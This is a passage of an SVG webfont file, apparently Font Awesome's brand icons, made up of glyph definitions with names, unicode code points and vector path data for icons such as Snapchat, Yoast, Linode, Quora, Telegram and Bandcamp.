c80 -1.60059 137.801 61.6992 137.801 139.399c0 19.5 -3.40039 38.7998 -11 57zM418.1 436.3c52 -74 20.9004 -208.6 -58.0996 -208.6c-21.2998 0 -40.2002 11.3994 -55 25.7998c35.0996 19.2998 79.4004 49.2002 99.7002 84.9004
c2.39941 4.7998 6.5 13.6992 7.2002 19.1992c-19.9004 -44.6992 -70.8008 -79.6992 -118.2 -90.6992c-7.5 11.6992 -12 24.6992 -12 38.7998c0 16.5 8.2002 38.5 20.5996 50.5c34.5 32.8994 84.7998 13.5996 115.8 80.0996z" />
    <glyph glyph-name="viadeo-square" unicode="&#xf2aa;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM280.7 66.7998c35.3994 38.2998 38.0996 89 22.7998 125.601c-7.90039 -4.90039 -16.9004 -8.60059 -26.4004 -10.5
c4.80078 -11.4004 6.90039 -23.5 6.90039 -35.7002c0 -48.6006 -36.2002 -88.2002 -86.2002 -87.2002l2.40039 0.200195c46.3994 29.2002 68.2998 74.0996 68.2998 128.2c0 23.7998 -4.09961 47.5 -11.7998 70v0.399414c-2.2998 31.6006 -17.1006 75.7998 -44.2002 94.1006
c17.5996 -29.9004 33 -61.6006 44.2002 -94.5c0.599609 -7.30078 0.599609 -14.8008 0.599609 -22.1006c0 -57.3994 -11.3994 -151 -72.8994 -175c-41 7.2002 -69.5 42.9004 -69.5 85.9004c0 47.2002 35.7998 88.8994 84.5996 88.8994c10.5 0 21 -1.89941 30.7002 -6
c1.09961 9.5 4.09961 18.7002 8.39941 27.1006c-12.5 4.59961 -25.7998 6.7002 -39.0996 6.7002c-101 0 -149.2 -122.5 -81.2002 -196.101c42.4004 -46.5996 120 -46.2002 162.4 0zM309 214.3c49.4004 0 68.7998 84.1006 36.2998 130.3
c-19.3994 -41.5 -50.7998 -29.5 -72.3994 -50c-7.7002 -7.5 -12.9004 -21.2998 -12.9004 -31.5996c0 -8.7998 2.7998 -17 7.5 -24.2998c29.7002 6.89941 61.4004 28.7998 73.9004 56.7002c-0.400391 -3.40039 -3 -9 -4.5 -12c-12.7002 -22.3008 -40.4004 -41 -62.3008 -53
c9.30078 -9 21.1006 -16.1006 34.4004 -16.1006z" />
    <glyph glyph-name="snapchat" unicode="&#xf2ab;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM417.5 101.1c2.2002 5.30078 -0.900391 9.80078 -4.90039 10.8008c-46.2998 7.59961 -67.0996 55.0996 -68 57.0996
c-0.0996094 0.0996094 -0.0996094 0.200195 -0.199219 0.299805c-2.40039 5 -3 9.2002 -1.60059 12.5c2.60059 6.2998 12.5 9.40039 19 11.5c1.7998 0.600586 3.5 1.10059 4.90039 1.7002c11.5 4.5 17.2998 10.0996 17.2002 16.5996
c-0.100586 5.10059 -4.10059 9.60059 -10.4004 11.9004c-4 1.59961 -9.59961 1.90039 -13.5996 0c-5.5 -2.59961 -10.4004 -4 -14.7002 -4.2002c-2.7998 0.100586 -4.60059 0.799805 -5.7002 1.40039c1.40039 24 4.7002 58 -3.7998 77.0996
c-16.2998 36.5 -49.6006 54.2998 -84.2998 54.2998c-0.600586 0 -6.10059 -0.0996094 -6.7002 -0.0996094c-14 0 -61.6006 -4 -84.1006 -54.2998c-8.5 -19.1006 -5.19922 -53.2002 -3.7998 -77.1006c-1.09961 -0.599609 -3.2998 -1.39941 -6.59961 -1.39941
c-4.5 0 -9.7998 1.39941 -15.7002 4.2002c-7.5 3.5 -20.2998 -1.80078 -21.9004 -10.3008c-1 -4.89941 1.2002 -12.0996 17 -18.2998c6.10059 -2.5 20.6006 -5.2998 24 -13.2002c1.40039 -3.2998 0.900391 -7.5 -1.59961 -12.5
c-0.0996094 -0.0996094 -0.200195 -0.199219 -0.200195 -0.299805c-0.899414 -2 -21.7002 -49.5 -68 -57.0996c-3.59961 -0.600586 -6.09961 -3.7998 -5.89941 -7.40039c0.699219 -13.8994 31.6992 -19.2998 45.5 -21.3994c1.39941 -1.90039 2.5 -9.90039 4.2998 -16
c0.799805 -2.7002 2.89941 -6 8.2998 -6s13.2998 3.09961 25.7998 3.09961c17.6006 0 23.6006 -4 37.4004 -13.7002c9.89941 -7 27.5 -19.7998 48.5 -18.2002c20.7998 -0.899414 34.7002 7.90039 49.2002 18.2002c13.6992 9.7002 19.7998 13.7002 37.3994 13.7002
c13 0 19.6006 -2.90039 25.7998 -2.90039h0.200195c4.40039 0 7 2.2002 8.10059 5.90039c1.7998 6.09961 2.89941 14 4.2998 15.9004c26.7002 4.19922 41.2998 10.0996 44.7998 18.1992z" />
    <glyph glyph-name="snapchat-ghost" unicode="&#xf2ac;" horiz-adv-x="512" 
d="M510.846 55.3271c-5.21094 -12.1572 -27.2383 -21.0889 -67.3594 -27.3184c-2.06445 -2.78613 -3.77539 -14.6855 -6.50781 -23.9561c-1.625 -5.56543 -5.62207 -8.86914 -12.1279 -8.86914l-0.296875 0.00585938c-9.39453 0 -19.2031 4.32227 -38.8516 4.32227
c-26.5215 0 -35.6621 -6.04297 -56.2539 -20.5879c-21.832 -15.4375 -42.7715 -28.7637 -74.0273 -27.3984c-31.6455 -2.33398 -58.0244 16.9072 -72.8711 27.4033c-20.7139 14.6436 -29.8281 20.582 -56.2412 20.582c-18.8633 0 -30.7354 -4.71973 -38.8516 -4.71973
c-8.07324 0 -11.2129 4.92188 -12.4219 9.04004c-2.70312 9.18848 -4.4043 21.2627 -6.52344 24.1299c-20.6787 3.20898 -67.3096 11.3438 -68.498 32.1504c-0.00878906 0.161133 -0.015625 0.422852 -0.015625 0.583984c0 4.97559 3.98438 9.67285 8.89258 10.4844
c69.583 11.4551 100.925 82.9014 102.228 85.9346c0.0742188 0.175781 0.155273 0.34375 0.237305 0.514648c3.71289 7.53711 4.54395 13.8486 2.46289 18.7529c-5.05078 11.8965 -26.8721 16.1641 -36.0537 19.7959c-23.7148 9.36621 -27.0146 20.1279 -25.6113 27.5039
c2.43652 12.8359 21.7246 20.7354 33.002 15.4531c8.91895 -4.18066 16.8428 -6.29688 23.5469 -6.29688c5.02148 0 8.21191 1.2041 9.95996 2.1709c-2.04297 35.9365 -7.10156 87.29 5.68652 115.969c33.7734 75.7188 105.356 81.6025 126.478 81.6025
c0.943359 0 9.14062 0.0888672 10.1094 0.0888672c52.1484 0 102.255 -26.7803 126.724 -81.6426c12.7764 -28.6504 7.74902 -79.792 5.69434 -116.01c1.58203 -0.87207 4.35742 -1.94141 8.59961 -2.13867c6.39648 0.286133 13.8145 2.38867 22.0693 6.25684
c6.08496 2.84668 14.4053 2.46094 20.4795 -0.0576172l0.0292969 -0.00976562c9.47559 -3.38574 15.4385 -10.2158 15.5889 -17.8701c0.183594 -9.74707 -8.52246 -18.165 -25.8779 -25.0186c-2.11816 -0.834961 -4.69434 -1.6543 -7.43457 -2.52441
c-9.79688 -3.10645 -24.5996 -7.80566 -28.6152 -17.2715c-2.0791 -4.9043 -1.25684 -11.2109 2.45996 -18.748c0.0869141 -0.167969 0.166016 -0.341797 0.238281 -0.514648c1.30176 -3.03027 32.6152 -74.46 102.23 -85.9346
c6.42676 -1.05762 11.1631 -7.87695 7.72461 -15.8584z" />
    <glyph glyph-name="snapchat-square" unicode="&#xf2ad;" 
d="M400 416c26.5 0 48 -21.5 48 -48v-352c0 -26.5 -21.5 -48 -48 -48h-352c-26.5 0 -48 21.5 -48 48v352c0 26.5 21.5 48 48 48h352zM393.5 101.1c2.2002 5.30078 -0.900391 9.80078 -4.90039 10.8008c-46.2998 7.59961 -67.0996 55.0996 -68 57.0996
c-0.0996094 0.0996094 -0.0996094 0.200195 -0.199219 0.299805c-2.40039 5 -3 9.2002 -1.60059 12.5c2.60059 6.2998 12.5 9.40039 19 11.5c1.7998 0.600586 3.5 1.10059 4.90039 1.7002c11.5 4.5 17.2998 10.0996 17.2002 16.5996
c-0.100586 5.10059 -4.10059 9.60059 -10.4004 11.9004c-4 1.59961 -9.59961 1.90039 -13.5996 0c-5.5 -2.59961 -10.4004 -4 -14.7002 -4.2002c-2.7998 0.100586 -4.60059 0.799805 -5.7002 1.40039c1.40039 24 4.7002 58 -3.7998 77.0996
c-16.2998 36.5 -49.6006 54.2998 -84.2998 54.2998c-0.600586 0 -6.10059 -0.0996094 -6.7002 -0.0996094c-14 0 -61.6006 -4 -84.1006 -54.2998c-8.5 -19.1006 -5.19922 -53.2002 -3.7998 -77.1006c-1.09961 -0.599609 -3.2998 -1.39941 -6.59961 -1.39941
c-4.5 0 -9.7998 1.39941 -15.7002 4.2002c-7.5 3.5 -20.2998 -1.80078 -21.9004 -10.3008c-1 -4.89941 1.2002 -12.0996 17 -18.2998c6.10059 -2.5 20.6006 -5.2998 24 -13.2002c1.40039 -3.2998 0.900391 -7.5 -1.59961 -12.5
c-0.0996094 -0.0996094 -0.200195 -0.199219 -0.200195 -0.299805c-0.899414 -2 -21.7002 -49.5 -68 -57.0996c-3.59961 -0.600586 -6.09961 -3.7998 -5.89941 -7.40039c0.699219 -13.8994 31.6992 -19.2998 45.5 -21.3994c1.39941 -1.90039 2.5 -9.90039 4.2998 -16
c0.799805 -2.7002 2.89941 -6 8.2998 -6s13.2998 3.09961 25.7998 3.09961c17.6006 0 23.6006 -4 37.4004 -13.7002c9.89941 -7 27.5 -19.7998 48.5 -18.2002c20.7998 -0.899414 34.7002 7.90039 49.2002 18.2002c13.6992 9.7002 19.7998 13.7002 37.3994 13.7002
c13 0 19.6006 -2.90039 25.7998 -2.90039h0.200195c4.40039 0 7 2.2002 8.10059 5.90039c1.7998 6.09961 2.89941 14 4.2998 15.9004c26.7002 4.19922 41.2998 10.0996 44.7998 18.1992z" />
    <glyph glyph-name="pied-piper" unicode="&#xf2ae;" 
d="M32 29l-32 -60.2002l0.799805 328c0 65.9004 53.2002 119.2 119.2 119.2h327.2c-93 -28.9004 -189.9 -94.2002 -253.9 -168.6c-70.5996 -81.4004 -110.7 -137.4 -161.3 -218.4zM448 416c0 0 0 -328.8 0.0996094 -328.8c0 -65.9004 -53.2998 -119.2 -119.3 -119.2
h-328.399c18.5 25.5 61.6992 54 84.8994 66c35.5 18.0996 76.4004 28.5 105.3 56.2998c42.1006 40.5 47.8008 105 71 158.601c43.6006 100.3 186.4 167.1 186.4 167.1z" />
    <glyph glyph-name="first-order" unicode="&#xf2b0;" 
d="M12.9004 218.8c0.0996094 0.100586 0.199219 0.299805 0.299805 0.400391c0 -0.100586 0 -0.299805 -0.100586 -0.400391h-0.199219zM224 351.4c7.40039 0 14.5996 -0.5 21.7002 -1.7002l-4 -67.7002l22.2998 64.2998c14.2998 -3.7998 27.7002 -9.5 40 -16.8994
l-29.4004 -61.1006l45.1006 50.9004c11.5 -8.90039 21.7002 -19.2002 30.5996 -30.9004l-50.5996 -45.3994l60.8994 29.6992c7.5 -12.2998 12.9004 -26 16.6006 -40.2998l-64 -22.2998l67.7002 4c1.09961 -7.09961 1.39941 -14.5996 1.39941 -22
s-0.299805 -14.5996 -1.39941 -21.7002l-67.4004 4l64 -22.2998c-3.7002 -14.5996 -9.5 -28 -16.5996 -40.2998l-61.1006 29.3994l50.6006 -45.0996c-8.60059 -11.7998 -18.9004 -22 -30.6006 -30.9004l-44.8994 50.9004l29.3994 -61.2998
c-12.2998 -7.5 -25.7002 -12.9004 -40 -16.9004l-22.5996 65.1006l4 -68.6006c-7.10059 -1.09961 -14.2998 -1.7002 -21.7002 -1.7002c-7.09961 0 -14.5996 0.600586 -21.7002 1.7002l4 68l-22.2998 -64.5996c-14.2998 3.7998 -27.7002 9.5 -40 16.8994l29.5 61.4004
l-44.9004 -50.9004c-11.7998 8.60059 -22 19.2002 -30.8994 30.9004l50.8994 45.0996l-61.0996 -29.6992c-7.2002 12.5996 -12.9004 26 -16.5996 40.2998l64 22.5996l-67.7002 -4c-0.799805 7.10059 -1.40039 14.2998 -1.40039 21.7002s0.5 14.9004 1.40039 22l68 -4
l-64.2998 22.5996c3.69922 14.3008 9.5 27.7002 16.5996 40l61.0996 -29.6992l-50.5996 45.3994c8.90039 11.7998 19.2002 22 30.5996 30.9004l45.1006 -50.9004l-29.4004 61.4004c12.2998 7.2002 25.7002 12.8994 40 16.5996l22 -64l-3.7002 67.4004
c6.80078 1.09961 14.3008 1.7002 21.4004 1.7002zM443.4 320v-256l-219.4 -128l-219.4 128v256l219.4 128zM426.3 309.7l-202.3 117.399l-202.3 -117.399v-235.101l202.3 -117.699l202.3 117.699v235.101zM224 410.9l187.7 -109.4v-218.9l-187.7 -109.5l-187.7 109.5
v218.801zM224 360c-92.2998 0 -166.9 -75.0996 -166.9 -168c0 -92.5996 74.6006 -167.7 166.9 -167.7c92 0 166.9 75.1006 166.9 167.7c0 92.9004 -74.9004 168 -166.9 168z" />
    <glyph glyph-name="yoast" unicode="&#xf2b1;" 
d="M91.2998 372h186l-7 -18.9004h-179c-39.7002 0 -71.8994 -31.5996 -71.8994 -70.2998v-205.399c0 -35.4004 24.8994 -70.3008 84 -70.3008v-19.0996h-12.1006c-50.0996 0 -91.2998 40.2002 -91.2998 89.5v205.3c0 49.2998 40.7002 89.2002 91.2998 89.2002zM320.4 428
h66.5c-143.801 -378.1 -145.7 -398.9 -184.7 -439.3c-20.7998 -21.6006 -49.2998 -31.7002 -78.2998 -32.7002v51.0996c49.1992 7.7002 64.5996 49.9004 64.5996 75.3008c0 20.0996 0.599609 12.5996 -82.0996 223.199h61.3994l50.4004 -156.6zM448 286.5v-298.5h-214
c6.59961 9.59961 10.7002 16.2998 12.0996 19.4004h182.5v279.1c0 32.5 -17.0996 51.9004 -48.1992 62.9004l6.69922 17.5996c41.7002 -13.5996 60.9004 -43.0996 60.9004 -80.5z" />
    <glyph glyph-name="themeisle" unicode="&#xf2b2;" horiz-adv-x="512" 
d="M208 359.714c0 10 6.28613 21.7139 17.7148 21.7139c11.1426 0 17.7139 -11.7139 17.7139 -21.7139c0 -10.2852 -6.57129 -21.7139 -17.7139 -21.7139c-11.4287 0 -17.7148 11.4287 -17.7148 21.7139zM512 199.714c0 -36.001 -11.4287 -102.286 -36.2861 -129.714
c-22.8574 -24.8584 -87.4277 -61.1426 -120.856 -70.5723l-1.14355 -0.286133v-32.5703c0 -16.2861 -12.5723 -30.5713 -29.1426 -30.5713c-10 0 -19.4297 5.71387 -24.5723 14.2861c-5.42676 -8.57227 -14.8564 -14.2861 -24.8564 -14.2861
s-19.4287 5.71387 -24.8574 14.2861c-5.14258 -8.57227 -14.5713 -14.2861 -24.5703 -14.2861c-10.2861 0 -19.4287 5.71387 -24.8574 14.2861c-5.14355 -8.57227 -14.5713 -14.2861 -24.5713 -14.2861c-18.8574 0 -29.4287 15.7139 -29.4287 32.8574
c-16.2861 -12.2852 -35.7158 -19.4287 -56.5713 -19.4287c-22 0 -43.4287 8.28516 -60.2861 22.8574c10.2852 0.286133 20.5713 2.28613 30.2852 5.71387c-20.8574 5.71387 -39.4277 18.8574 -52 36.2861c21.3701 -4.64551 46.209 -1.67285 67.1426 11.1426
c-22 22 -56.5703 58.8574 -68.5713 87.4287c-5.71387 13.4287 -6.85645 31.4287 -6.85645 45.7139c0 49.7139 20.2861 160 86.2861 160c10.5713 0 18.8564 -4.8584 23.1426 -14.8574c3.0498 4.46289 8.42578 11.374 12 15.4277c2 2.57227 5.71387 5.42969 7.14355 8.28613
c7.99902 12.5713 11.7139 21.1426 21.7139 34c32.2852 41.1445 81.7139 69.4297 134.856 69.4297c6 0 12 -0.285156 17.7148 -1.14355c10.8564 11.7148 26 18.2861 41.7148 18.2861c14.5703 0 29.7139 -6 40 -16.2861c0.856445 -0.857422 1.42773 -2.28613 1.42773 -3.42773
c0 -3.71387 -10.2852 -13.4287 -12.8574 -16.2861c4.28613 -1.42871 15.7148 -6.8584 15.7148 -12c0 -2.85742 -2.85742 -5.14258 -4.57129 -7.14258c31.4287 -27.7148 49.4287 -67.1436 56.2861 -108c4.28613 5.14258 10.2852 8.57129 17.1426 8.57129
c10.5713 0 20.8574 -7.14355 28.5713 -14.001c20.8564 -18.5703 25.7139 -53.1416 25.7139 -79.7139zM188 358.572c0 -18.2861 12.5713 -37.1436 32.2861 -37.1436c19.7139 0 32.2852 18.8574 32.2852 37.1436c0 18 -12.5713 36.8564 -32.2852 36.8564
c-19.7148 0 -32.2861 -18.8574 -32.2861 -36.8564zM237.714 254c0 19.7139 3.71387 39.1426 8.57129 58.2861c-52.0391 -79.5342 -13.5312 -184.571 68.8574 -184.571c21.4287 0 42.5713 7.71387 60 20c2 7.42871 3.71484 14.8574 3.71484 22.5723
c0 14.2861 -6.28613 21.4277 -20.5723 21.4277c-4.57129 0 -9.14355 -0.856445 -13.4287 -1.71387c-63.3438 -12.668 -107.143 -3.66895 -107.143 63.999zM196.572 -0.858398c0 11.1436 -8.8584 20.8574 -20.2861 20.8574c-11.4287 0 -20 -9.71484 -20 -20.8574v-32.5703
c0 -11.1436 8.57129 -21.1426 20 -21.1426c11.4277 0 20.2861 9.71484 20.2861 21.1426v32.5703zM245.715 -0.858398c0 11.1436 -8.57227 20.8574 -20 20.8574c-11.4287 0 -20.2861 -9.71484 -20.2861 -20.8574v-32.5703c0 -11.1436 8.85742 -21.1426 20.2861 -21.1426
c11.4277 0 20 10 20 21.1426v32.5703zM295.428 -0.858398c0 11.1436 -8.85645 20.8574 -20.2852 20.8574s-20.2852 -9.71484 -20.2852 -20.8574v-32.5703c0 -11.1436 8.85645 -21.1426 20.2852 -21.1426s20.2852 9.71484 20.2852 21.1426v32.5703zM345.143 -0.858398
c0 11.1436 -8.85645 20.8574 -20.2852 20.8574s-20.2861 -9.71484 -20.2861 -20.8574v-32.5703c0 -11.1436 8.85742 -21.1426 20.2861 -21.1426s20.2852 10 20.2852 21.1426v32.5703zM421.714 162c-30.8564 -59.1416 -90.2852 -102.572 -158.571 -102.572
c-96.5703 0 -160.57 84.5723 -160.57 176.572c0 16.8574 2 33.4287 6 49.7139c-20 -33.7148 -29.7139 -72.5723 -29.7139 -111.429c0 -60.2861 24.8564 -121.715 71.4287 -160.857c5.14258 9.71387 14.8564 16.2861 26 16.2861c10 0 19.4277 -5.71387 24.5713 -14.2861
c5.42871 8.57129 14.5703 14.2861 24.8574 14.2861c10 0 19.4277 -5.71387 24.5713 -14.2861c5.42871 8.57129 14.8564 14.2861 24.8574 14.2861c10 0 19.4287 -5.71387 24.8574 -14.2861c5.14258 8.57129 14.5713 14.2861 24.5723 14.2861
c10.8564 0 20.8564 -6.57227 25.7139 -16c43.4268 36.2861 68.5693 92 71.4258 148.286zM432.286 261.714c0 53.7139 -34.5713 105.714 -92.5723 105.714c-30.2852 0 -58.5713 -15.1426 -78.8564 -36.8564c-19.9951 -66.3828 -27.4473 -136.571 41.4287 -136.571
c28.8047 0 97.3564 28.5381 84.2861 -36.8574c28.8564 26 45.7139 65.7148 45.7139 104.571z" />
    <glyph glyph-name="google-plus" unicode="&#xf2b3;" horiz-adv-x="496" 
d="M248 440c136.9 0 248 -111.1 248 -248s-111.1 -248 -248 -248s-248 111.1 -248 248s111.1 248 248 248zM177.3 68c71.2998 0 118.8 50.4004 118.8 121.2c0 7.09961 -0.599609 13.8994 -1.89941 20.7002h-116.9v-42.6006h70.1006
c-5.2002 -34.2002 -37.5 -53.2998 -70.1006 -53.2998c-43 0 -77.2002 35.5 -77.2002 78.0996c0 42.6006 34.3008 78.1006 77.2002 78.1006c18.1006 0 36.2002 -6.2002 49.4004 -19.1006l33.5996 32.6006c-22.8994 21.2998 -51.7002 32.2998 -83 32.2998
c-68.7998 0 -124 -55.5 -124 -124s55.2002 -124 124 -124zM407.5 174.2h35.2002v35.5h-35.2002v35.5h-35.5v-35.5h-35.5v-35.5h35.5v-35.5h35.5v35.5z" />
    <glyph glyph-name="font-awesome" unicode="&#xf2b4;" 
d="M397.8 416c27.5 0 50.2002 -22.7002 50.2002 -50.2002v-347.6c0 -27.5 -22.7002 -50.2002 -50.2002 -50.2002h-347.6c-27.5 0 -50.2002 22.7002 -50.2002 50.2002v347.6c0 27.5 22.7002 50.2002 50.2002 50.2002h347.6zM352.4 131.7h0.0996094v140.3
c0 4.2002 -4.2002 7.7998 -9 7.7998c-6 0 -31.0996 -16.0996 -53.7998 -16.0996c-4.7002 0 -8.90039 0.599609 -13.1006 2.39941c-20.2998 7.7002 -38.1992 13.7002 -60.8994 13.7002c-20.9004 0 -43 -6.5 -61.5 -14.2998
c-1.7998 -1.2002 -3.60059 -1.7998 -5.40039 -2.40039v18.5c8.2998 6 13.1006 15.5 13.1006 26.3008c0 18.5996 -15 33.5 -33.5 33.5c-18.6006 0 -33.5 -15 -33.5 -33.5c0 -10.8008 5.2998 -20.3008 13.0996 -26.3008v-218.6c0 -11.2998 9 -20.2998 20.2998 -20.2998
c8.90039 0 16.7002 5.89941 19.1006 14.2998v1.2002c0.599609 1.2002 0.599609 3 0.599609 4.7998v45.4004c1.2002 0.599609 2.40039 0.599609 3.59961 1.19922c19.7002 8.90039 44.2002 17.3008 67.5 17.3008c32.3008 0 44.8008 -16.7002 71.7002 -16.7002
c19.2002 0 37.1006 6.5 53.7998 13.7002c4.2002 1.7998 7.80078 3.59961 7.80078 7.7998z" />
    <glyph glyph-name="linode" unicode="&#xf2b8;" 
d="M437.4 221.7c0.599609 -2 -8.80078 -66.2998 -9.7002 -72.7998c0 -0.900391 -0.5 -1.7002 -1.10059 -2l-54.5996 -43.7002c-1.09961 -0.900391 -2.59961 -0.900391 -3.7002 0l-20.2998 14l-2.2998 -33.4004c0 -0.899414 -0.200195 -1.7002 -1.10059 -2.2998
l-66.8994 -53.4004c-1.10059 -0.899414 -2.90039 -0.899414 -4 0l-28 23.7002l2 -46c0 -0.899414 -0.200195 -1.7002 -1.10059 -2.2998l-83.6992 -66.9004c-0.600586 -0.299805 -1.10059 -0.599609 -1.7002 -0.599609c-0.900391 0.299805 -1.7002 0.299805 -2.2998 0.900391
l-65.1006 69.0996c-1.5 1.40039 -15.5 72 -16.8994 79.0996c-0.300781 1.10059 0.5 2.5 1.39941 3.10059l17.4004 10.5996c-3.40039 3.2002 -26.5 23.4004 -27.1006 26.2998l-20.5996 100.301c-0.299805 1.09961 0.299805 2.5 1.7002 3.39941l26.8994 12.9004
c-4.59961 3.5 -37.6992 27.5 -38.5996 30.8994l-27.4004 133.101c-0.299805 1.7002 0.600586 3.09961 2 3.7002l123.7 38.5996c0.600586 0 1.40039 0 2.2998 -0.299805l90.6006 -43.7002c0.799805 -0.599609 1.7002 -1.7002 1.7002 -2.59961l5.69922 -132.301
c0 -1.19922 -0.599609 -2.2998 -1.69922 -2.89941l-33.7002 -17.4004l36 -24.2998c0.799805 -0.299805 1.39941 -1.40039 1.39941 -2.2998l1.40039 -35.1006l34.5996 21.2002c0.800781 0.600586 2.2002 0.600586 3.10059 0l24 -16l0.899414 31.4004
c0 0.899414 0.5 2 1.40039 2.59961l58.9004 36c1.09961 0.600586 2.19922 0.600586 3.09961 0l70 -38.5996c0.5 -0.600586 1.09961 -1.10059 1.40039 -2zM232.6 216.9l-100.6 -57.2002l14 -96.6006l90.5996 61.2002zM224.9 396.9l-120.9 -46.6006l19.7002 -134.8
l106.6 55.4004zM44 274.9l73.0996 -57.2002l-19.3994 132.899l-79.7002 49.4004zM74.5996 127.1l64.8008 -60.7998l-13.7002 93.4004l-70 58.2998zM98.9004 9.40039l57.6992 -61.2002l-9.69922 67.3994l-61.7002 60.9004zM163.4 -55.0996l78.1992 62.2998l-3.09961 70
l-85.7002 -61.4004zM245.4 60l27.0996 -22.9004l-0.599609 68.3008l-29.4004 22.5996c0 -2.2998 1.2002 -6.2998 -1.09961 -8l-22.3008 -14.9004l24.3008 -20c2.89941 -2.19922 2 -21.6992 2 -25.0996zM339.7 85.4004l4.2002 66.8994l-65.7002 -46.8994l0.599609 -68.6006z
M367.4 111.1l5.7998 66.6006l-64.6006 40.5996l-0.599609 -30l41.2002 -27.2002c0.799805 -0.599609 1.39941 -1.69922 1.09961 -2.59961l-2 -34zM422 150.9l8.5 63.3994l-51.0996 -36.5996l-5.7002 -65.1006z" />
    <glyph glyph-name="quora" unicode="&#xf2c4;" 
d="M440.5 61.2998c1.7998 -18 -7.2002 -93.2998 -89 -93.2998c-49.5 0 -75.5 28.7002 -95.2002 62.2998c-117.7 -32.5996 -249 54.9004 -249 189c0 117 98 196.7 197.7 196.7c101.8 0 198.5 -79.2002 198.4 -196.7c0 -65.5 -30.5 -118.8 -74.7002 -153
c14.2002 -21.5996 29 -35.7998 49.5 -35.7998c22.5 0 31.5 17.2998 33 30.7998h29.2998zM297 118.8c11.2998 24.9004 16.7998 58.7002 16.7002 100.5c0 104.2 -32.5 157.7 -108.7 157.7c-75 0 -107.5 -53.5 -107.5 -157.9c0 -103.699 32.5 -156.699 107.5 -156.699
c12 0 22.7002 1.19922 32.7002 4.19922c-15.5 30.5 -33.7002 61.3008 -69.2002 61.3008c-6.7998 0 -13.5996 -1 -19.7998 -4l-12.2002 24.2998c14.7002 12.7998 38.5 22.7998 69 22.7998c47.7998 0 72 -23 91.5 -52.2002z" />
    <glyph glyph-name="free-code-camp" unicode="&#xf2c5;" horiz-adv-x="576" 
d="M69.2998 303.5c-41 -68.5 -36.3994 -163 1 -227c22.2002 -38.2002 49.7002 -52.4004 49.7002 -66.5c0 -6.7998 -6 -13 -12.7998 -13c-19.5 0 -99.2002 75.5 -99.2002 197.8c0 111.5 78 186 97.0996 186c6 0 14.9004 -4.7998 14.9004 -11.0996
c0 -12.7002 -28.2998 -28.6006 -50.7002 -66.2002zM265.1 89.7002c-37.1992 13.5996 -65.5 45.8994 -65.2998 86.2002c0 48 57.7002 90.0996 57.7002 136.199c0 16.8008 -10.4004 32.6006 -19.5996 38.2002c-1.90039 1 -4.60059 2.7002 -4.60059 5.10059
c0 9.59961 26.1006 2.7998 36.5 -2.2002c33.6006 -15.9004 40.6006 -40.2998 46.4004 -74.1006c1.39941 -7.89941 4.2998 -33.2998 15.8994 -33.2998c7.5 0 12.3008 5.10059 12.3008 12.2998c0 12.6006 -15.4004 31.2002 -7.2002 31.2002
c6.09961 0 18.5996 -12.7998 22.5 -16.8994c23.3994 -24.9004 32.0996 -49 32.0996 -82.6006c0 -42.2002 -23.3994 -74.7002 -53.0996 -89.7998c-9.2002 -5.7998 -12.1006 0.900391 -12.1006 1.90039c0 7 29.5 23.5996 29.5 56c0 10.5996 -2.69922 22.5 -8.5 31.3994
c-1.69922 2.40039 -7.69922 10.1006 -11.0996 10.1006c-0.700195 0 -0.700195 -0.5 -0.700195 -1.2002c0 -5.7998 3.60059 -11.4004 3.60059 -17.4004c0 -13 -31.9004 -20.2002 -31.9004 6.7998c0 7.10059 0.700195 14.3008 0.700195 21.3008
c0 5.09961 -0.200195 6.5 -2.40039 11.0996c-3.39941 6.5 -14.5 19.7998 -22.5 19.7998c-2.2002 0 -2.89941 0 -2.89941 -2.2002c0 -3.39941 7.69922 -7 7.69922 -19.2998c0 -32.0996 -44.1992 -37.8994 -44.1992 -70c0 -14.3994 1.89941 -26.5 10.0996 -38.5996
c5.09961 -7.5 10.5996 -11.7998 19.0996 -15.2002c2.10059 -0.700195 4.30078 -0.900391 4.30078 -3.59961c0 -6.40039 -7.80078 -3 -12.3008 -1.2002zM470.4 381c21.3994 0 97.5996 -78.9004 97.5 -198.2c0 -104.899 -73.4004 -185.7 -98.8008 -185.7
c-5 0 -13.1992 6.30078 -13.1992 11.4004c0 8.2002 28.2998 34.5996 35.2998 43.5c61 76.7002 64 205.9 -17.6006 291c-5.5 5.7998 -17.5996 16.7002 -17.5996 25.4004c0 6.09961 8.40039 12.5996 14.4004 12.5996zM428.1 57.9004c8.40039 0 11.9004 -7 11.9004 -15.5
c0 -8.90039 -2.5 -16.4004 -11.9004 -16.4004h-261.1c-8.5 0 -15.5 7 -15.5 15.5c0 8.90039 6.09961 16.4004 15.5 16.4004h261.1z" />
    <glyph glyph-name="telegram" unicode="&#xf2c6;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM369.8 270.1c3.60059 16.8008 -6.09961 23.5 -17.2002 19.5l-239.1 -92.1992c-16.4004 -6.40039 -16.0996 -15.5 -2.7998 -19.7002l61.2002 -19.1006l142 89.4004
c6.59961 4.40039 12.6992 1.90039 7.69922 -2.5l-114.899 -103.8l-4.40039 -63.1006c6.40039 0 9.2002 2.80078 12.5 6.10059l29.9004 28.7998l62 -45.7002c11.2998 -6.39941 19.3994 -3.09961 22.3994 10.5z" />
    <glyph glyph-name="bandcamp" unicode="&#xf2d5;" horiz-adv-x="496" 
d="M248 440c137 0 248 -111 248 -248s-111 -248 -248 -248s-248 111 -248 248s111 248 248 248zM296.2 113.9l84.7002 156.1h-181l-84.7002 -156.1h181z" />
    <glyph glyph-name="grav" unicode="&#xf2d6;" horiz-adv-x="512" 
d="M301.1 236c4.40039 -4.40039 4.40039 -11.9004 0 -16.2998l-9.69922 -9.7002c-4.40039 -4.7002 -11.9004 -4.7002 -16.6006 0l-10.5 10.5c-4.39941 4.7002 -4.39941 11.9004 0 16.5996l9.7002 9.7002c4.40039 4.40039 11.9004 4.40039 16.5996 0zM270.9 255.7
c-2.7002 -2.7998 -7.40039 -2.7998 -10.5 0c-2.80078 3 -2.80078 7.7002 0 10.5c3 3 7.69922 3 10.5 0c3 -2.7002 3 -7.5 0 -10.5zM244.9 250.4c2.7998 3 7.5 3 10.5 0c2.7998 -2.7002 2.7998 -7.40039 0 -10.2002c-3 -3 -7.7002 -3 -10.5 0c-3 2.7002 -3 7.39941 0 10.2002
